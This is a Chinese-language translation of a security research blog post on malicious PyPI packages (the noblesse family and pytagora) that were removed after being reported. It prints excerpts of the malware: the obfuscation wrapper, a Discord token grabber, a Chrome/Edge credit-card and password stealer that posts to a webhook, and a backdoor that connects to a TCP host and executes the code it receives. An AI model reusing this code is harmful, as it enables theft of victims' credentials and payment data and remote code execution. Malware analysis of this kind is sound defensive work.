软件包存储库正在成为供应链攻击的热门目标。最近,有关于恶意软件攻击 npm、PyPI 和 RubyGems 等流行存储库的消息。开发人员盲目地信任存储库并从这些来源安装软件包,假设它们是安全的。有时允许将恶意软件包上传到包存储库,使恶意行为者有机会使用存储库分发病毒并对管道中的开发人员和 CI/CD 机器发起成功的攻击。作为 JFrog 安全研究团队(前身为 Vdoo)自动识别恶意包的持续努力的一部分,我们现在报告托管在 PyPI 上的几个 Python 包是恶意的。我们已通知 PyPI 有关恶意软件包的存在,并立即将其删除。根据 pepy.tech 的数据,我们估计恶意软件包的下载次数约为 30,000 次。我们目前没有关于使用这些恶意软件包造成的实际影响的数据。在这篇博文中,我们将分享这些软件包的技术分析及其影响。上述所有软件包(以及大多数 Python 新手恶意软件)都使用了一种简单的混淆技术:import base64, codecs magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...' love = '0iLKOcY3L4Y2q1nJkxpl97nZYogdm'... yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6x5\x63' \x73\x2e\x64...') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) 这种混淆可以欺骗一个简单的静态分析工具,但并不反对更彻底的分析,实际上提出了一个危险信号,让许多研究人员仔细研究这段代码。混淆代码中使用的特定(受北欧金属启发?)字符串帮助我们意识到恶意软件只是使用公共工具 python-obfuscator 进行了处理。
使用 PyArmor 对 aryi 和 permit 包进行了混淆,这表明恶意软件开发人员正在尝试不同的混淆方法。贵族“家族”恶意软件的第一个有效载荷是窃取 Discord 身份验证令牌。身份验证令牌允许攻击者冒充最初持有令牌的用户(类似于 HTTP 会话 cookie)。窃取令牌的有效载荷基于臭名昭著的 dTGPG(Discord Token Grabber Payload Generator)有效载荷。这是一个从未公开发布的生成器工具,但有效载荷(个性化令牌抓取器)是公开共享的,并且一些示例也上传到了 Github。 Discord 身份验证令牌窃取器代码非常简单,它迭代一组硬编码的路径: local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = { 'Discord': roaming + '\\ Discord', 'Discord Canary': 漫游 + '\\discordcanary', 'Discord PTB': 漫游 + '\\discordptb', 'Google Chrome': 本地 + '\\Google\\Chrome\\User Data\\Default ', 'Opera': 漫游 + '\\Opera Software\\Opera Stable', 'Brave': 本地 + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Yandex': 本地 + ' \\Yandex\\YandexBrowser\\User Data\\Default' } 然后简单地读取这些路径下的所有 .log 和 .ldb 文件(特别是在 Local Sotrage\leveldb 下)并查找 Discord 身份验证令牌,如下所示:AhDDanSZFkkf2j2J8co2d5Tn .G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(单因素令牌 – 24 个字符 + '.' + 6 个字符 + '.' + 27 个字符)
结果通过 Webhook(一种将自动消息和数据更新发送到私人服务器上的文本通道的简单方法)上传到 Discord,参数如下:{ "type": 1, "id": "807327703082074143", "name": "Captain Hook", "avatar": null, "channel_id": "725001140324008047", "guild_id": "720931953251057725", "application_id": null, "token": "uwAgm3PQUNDQvCdvChpx7vCvCvFxpgsvCvCvCvCypgsvCypgsvCypz8047"贵族家族的第二个有效载荷是“自动完成”信息窃取器。所有现代浏览器都支持为用户保存密码和信用卡信息:这很方便,但缺点是这些信息可能会被访问本地机器的恶意软件泄露。 def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r [1]encrypted_password=r[4]decrypted_password=dpw(encrypted_password,master_key)expire_mon=r[2]expire_year=r[3]hook.send(f"CARD-NAME:"+用户名+"\nNUMBER:"+decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n") login_db = os.environ['USERPROFILE' ] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins")decrypted_password = dpw(encrypted_password, master_key) 如果用户名 != "" 或 encrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + encrypted_p assword + "\n" + "*" * 10 + "\n") 贵族家族的第三个payload收集受害者系统的以下信息,并将其上传到提到的Webhook:
在“使 pytagora 定理变得容易”(原文如此)的有趣伪装下,这是包的全部代码: import math import base64,sys def hello(): exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...')) def hypotenuse (a,b): hello() c = math.sqrt(math.pow(a,2) + math.pow(b,2)) return round(c,2) def other(c,x): y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2) import socket,struct,time s=socket.socket(2,socket.socket.socket.SOCK_STREAM ) s.connect(('172.16.60.80',9009)) l=struct.unpack('>I',s.recv(4))[0] 打印 (l) d=s.recv(l) 打印 ( d) while len(d)>!1: d+=s.recv(l-len(d)) print (d) exec(d,{'s':s}) 简而言之——恶意软件试图连接到TCP 端口 9009 上的私有 IP 地址,然后执行从套接字读取的任何 Python 代码。如果在检查您的 PyPI 依赖项后,您确定已经在本地安装了 noblesse(或其任何克隆),我们建议: 检查 Edge 中保存了哪些密码,并在每个相应的网站(加上任何重复使用这些密码的网站)。可以通过打开 Edge 并导航到 edge://settings/passwords 来执行检查。保存的密码(可能已被泄露)的完整列表可以在“保存的密码”下查看。检查 Chrome 中保存了哪些信用卡并考虑取消这些信用卡。可以通过打开 Chrome 并导航到 chrome://settings/payments 来执行检查。已保存的信用卡(可能已被盗用)的完整列表可在付款方式下查看。
如果您确定 pytagora(或其任何克隆)已本地安装在您的机器上,而您不太可能感染恶意软件,我们建议您遵循通常的恶意软件检查步骤,例如使用已安装的 Anti 运行完整扫描- 病毒软件。正如我们在之前的 PyPI 研究中也看到的,公共软件存储库中缺乏节制和自动化安全控制,即使是没有经验的攻击者也可以将它们用作传播恶意软件的平台,无论是通过域名抢注、依赖混淆还是简单的社会工程攻击。本研究中分析的几乎所有代码片段都基于已知的公共工具,仅更改了少数参数。混淆也是基于公共混淆器。我们希望看到更多这些“弗兰肯斯坦”恶意软件包从不同的攻击工具拼接而成(具有更改的渗漏参数)。我们将继续监控公共软件包存储库以清理此类实例。最后,我们要感谢 Dustin Ingram (@di_codes) 快速响应并删除恶意软件包。